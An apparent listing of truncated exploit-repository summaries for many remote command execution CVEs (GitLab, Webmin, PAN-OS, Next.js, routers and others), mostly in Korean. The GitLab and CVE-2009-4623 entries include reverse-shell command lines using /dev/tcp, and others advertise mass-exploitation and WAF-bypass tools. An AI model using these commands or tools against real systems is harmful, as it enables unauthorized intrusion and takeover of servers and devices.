CVE-2024-37770

CVE-2024-37770 설명 14Finger v1.1에서 지문fingerprint 기능에 원격 명령 실행RCE 취약점이 존재하는 것으로 확인되었습니다. 이 취약점으로 인해 공격자는 제작된 페이로드를 통해 임의의 명령을 실행할 수 있습니다. 공격 벡터 인증되지 않은 공격자는 셸 메타문자를 통해 명령 주입을 실행하여 원격 서버에서 RCE를 수행할 수 있습니다. 세부 정보 핵심 기능의 지문 스캔 지점에 인증되지 않은 원격 명령 실행 취약점이 존재합니다. 소스 코드 감사를 통해 onlyspider가 false이고 spider가...

aapanel

aapanel aapanel 6.6.6 - CVE-2020-14950 설명: 원격 인증 사용자가 Sotfware Store의 설정 메뉴를 통해 임의의 명령을 실행할 수 있습니다. 영향받는 버전: All = 6.6.6 정보 이 PoC를 만들기 위해 docker-compose로 소프트웨어를 설치했습니다. 취약점 유형: 원격 명령 실행 인증된 RCE POC Software Store로 이동하여 설정 필드의 아무 행이나 클릭한 다음, "start/stop/restart"를 클릭할 때 요청을 가로채서 원하는 명령을 실행하도록 요청을...

CVE-2020-16947

CVE-2020-16947 Outlook 2019 원격 명령 실행 이 버그는 HTML 콘텐츠를 구문 분석할 때 발생합니다. 공격자가 이 익스플로잇을 성공적으로 실행하면 원격 명령 실행으로 이어질 수 있습니다. HTML 콘텐츠 중 ASCII 범위를 벗어난 문자열을 복사할 때, 해당 문자열이 0xfffd로 대체됩니다. 결과적으로 복사된 문자열의 크기가 두 배가 되어, src 버퍼와 dst 버퍼의 크기가 동일함에도 불구하고 버퍼 오버플로가 발생합니다. 0데이 익스플로잇에 관심이 있으시면 [email protected]으로...

WP-CVE-2016-10033

WordPress -p 8000:80 앞의 8000은 호스트 머신의 포트를 나타내며 임의로 지정할 수 있습니다. http://127.0.0.1:8000에 접속하여 WordPress 메인 화면이 보이면 시작 성공입니다. POC 대상 주소가 http://127.0.0.1:8000/ 인 경우: 1. 아래 HTTP 요청을 BurpSuite Repeater에 복사하고 Go 버튼을 클릭한 후 대상 IP와 포트를 입력합니다 예: IP: 127.0.0.1, 포트: 80 POST /wp-login.php?action=lostpassword...

CVE-2025-52385

CVE-2025-52385 소프트웨어 : Studio 3T v.2025.1.0 취약점 보고서 : Studio 3T 원격 명령 실행 개요 Studio 3T 버전 2025.1.0 및 이전 버전의 심각한 취약점으로 인해 원격 공격자가 IntelliShell 구성 요소의 childprocess 모듈을 악용하는 조작된 페이로드를 통해 임의 코드를 실행할 수 있습니다. 세부 정보 취약점 유형: 원격 명령 실행 영향받는 제품: Studio 3T, 버전 console.logstdout; 또는 아래 명령을 확인 벡터로 사용하십시오:curl...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - Remote Command Execution RCE Exploit Overview This exploit targets a known vulnerability in Adobe ColdFusion 8 CVE-2009-2265. It enables remote command execution RCE by uploading a malicious JSP payload that establishes a reverse shell connection. Exploit Details CVE :...

Mass-CVE-2025-29306

FoxCMS 대량 익스플로잇 도구 CVE-2025-29306 보안 연구자가 여러 대상에 걸쳐 원격 명령 실행RCE 테스트를 수행할 수 있는 특화된 자동화 도구입니다. 🛡️ 보안 참고사항 이 프로그램은 Bash 로 작성되었으며 SHCShell Script Compiler로 암호화/컴파일되었습니다. 소스 코드는 변조 및 무단 수정을 방지하기 위해 보호됩니다. 📋 요구사항 프로그램이 올바르게 실행되려면 시스템에 다음이 있는지 확인하십시오: curl python3 libxml2-utils xmllint용 🚀 시작하기 1. 대상 준비:...

CVE-2018-6574

CVE-2018-6574 Golang go get 명령에서의 원격 명령 실행 익스플로잇. 소개 Go 패키지를 go get으로 가져올 때, Go는 패키지의 어떤 코드도 실행하지 않고 빌드 및 설치하도록 설계되어 있습니다. 의도는 패키지를 전혀 신뢰하지 않고도 안전하게 get, 빌드, 설치할 수 있다는 것입니다. 이론적으로는 Go 툴체인에게 쉬운 작업처럼 보이지만, 실제로는 상당한 도전 과제입니다. go get은 내부적으로 많은 작업을 수행하며, 패키지 설정에 크게 영향을 받는 방식으로 git 및 clang과 같은 서드파티 도구를...

CVE-2020-35713

Description Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page. How to use Step 1: Modify the IP address in cve-2020-35713.py file to the target address Step 2: Run the...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107 테스트 프로그램 webmin의 원격 명령 실행 취약점으로, 대략 perl의 qx/…/로 인해 명령이 실행됩니다. 악용에는 특정 조건이 필요하며, 재현할 때 간단히 GUI 기반 익스플로잇 프로그램을 작성했습니다. 주의할 점은, user 값이 가짜 사용자여야 하며, 실제 root로 테스트하면 성공하지 않습니다. 전송된 사용자 매개변수의 값이 알려진 Linux 사용자가 아닌 경우에만 /etc/shadow를 수정하는 부분으로 진입하여 명령 삽입 취약점이 트리거됩니다. 리버스 셸을...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB 원격 명령 실행 취약점 poc...

CVE-2021-22205

취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" 배치 스캔 python3 CVE-2021-2205.py -s true -f target.txt 리버스 셸 python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port...

CVE-2024-3400

CVE-2024-3400 취약점 설명 CVE-2024-3400 취약점은 PAN-OS 방화벽의 10.2, 11.0 및 11.1 버전에 영향을 미치는 보안 취약점입니다. 이 취약점은 GlobalProtect 게이트웨이 및 장치 텔레메트리 구성이 활성화된 경우 악용됩니다. 공격자는 이 취약점을 악용하여 악성 명령을 실행하고 시스템 보안을 손상시킬 수 있습니다. 기술적 세부 사항 CVE : CVE-2024-3400 영향받는 제품 : PAN-OS 방화벽 10.2, 11.0 및 11.1 버전 영향 : 원격 코드 실행, 시스템 보안 손상 ...

CVE-2022-25060

CVE-2022-25060 이 스크립트는 TPLink WR840N 라우터의 oalstartPing 구성 요소에서 원격 명령 실행 취약점을 악용합니다...

CVE-2009-4623

고급 댓글 시스템 1.0 - 원격 명령 실행 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 예제 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

nfsen-exploit

nfsen-exploit nfsen 1.3.7 における CVE-2017-6971 のリモートコマンド実行エクスプロイト。 Ubuntu でテスト済み。おそらくすべての環境で動作します。 脆弱性は Paul Taylor/Foregenix Ltd によって発見されました。 使用方法: python exploit.py これにより、リモートマシン上にルートレベルのシェルが生成されます。...

CVE-2025-55182-poc-tool

CVE-2025-55182-poc-tool Next.js React Server Components의 CVE-2025-55182 취약점을 탐지하고 악용하기 위한 강력한 익스플로잇 도구입니다. 이 도구는 취약한 Next.js 애플리케이션에서 원격 명령 실행RCE을 가능하게 하며, 내장된 WAF 우회 기능 을 제공합니다. 개요 CVE-2025-55182는 Next.js React Server Components의 심각한 취약점으로, 원격 공격자가 취약한 서버에서 임의의 명령을 실행할 수 있게 합니다. 이 도구는 이러한 취약점을...

CVE-2021-31761

..| CVE-2021-31761 |.. 설명 : Webmin의 실행 중인 프로세스 기능을 통한 반사형 XSSReflected Cross-Site Scripting 공격을 악용하여 원격 명령 실행RCE을 획득합니다 테스트 버전 : Webmin 1.973 GitHub의 최신 버전 07/03/2021 공격 유형: 원격 영향 : 원격 명령 실행 익스플로잇 코드 POC : YouTube POC : https://youtu.be/23VvUMu-28c 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin...

D-Link DSL 2888a - Authentication Bypass/Remote Command Execution

D-Link DSL-2888A devices with firmware prior to AU2.31V1.1.47ae55 are vulnerable to authentication bypass issues which can lead to remote command execution. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality. id: CVE-2020-24579 info: name: D-Li...

FOG Project < 1.5.10.34 - Remote Command Execution

FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php. id: CVE-2024-39914 info: name: FOG Project 1.5.10.34 - Remote...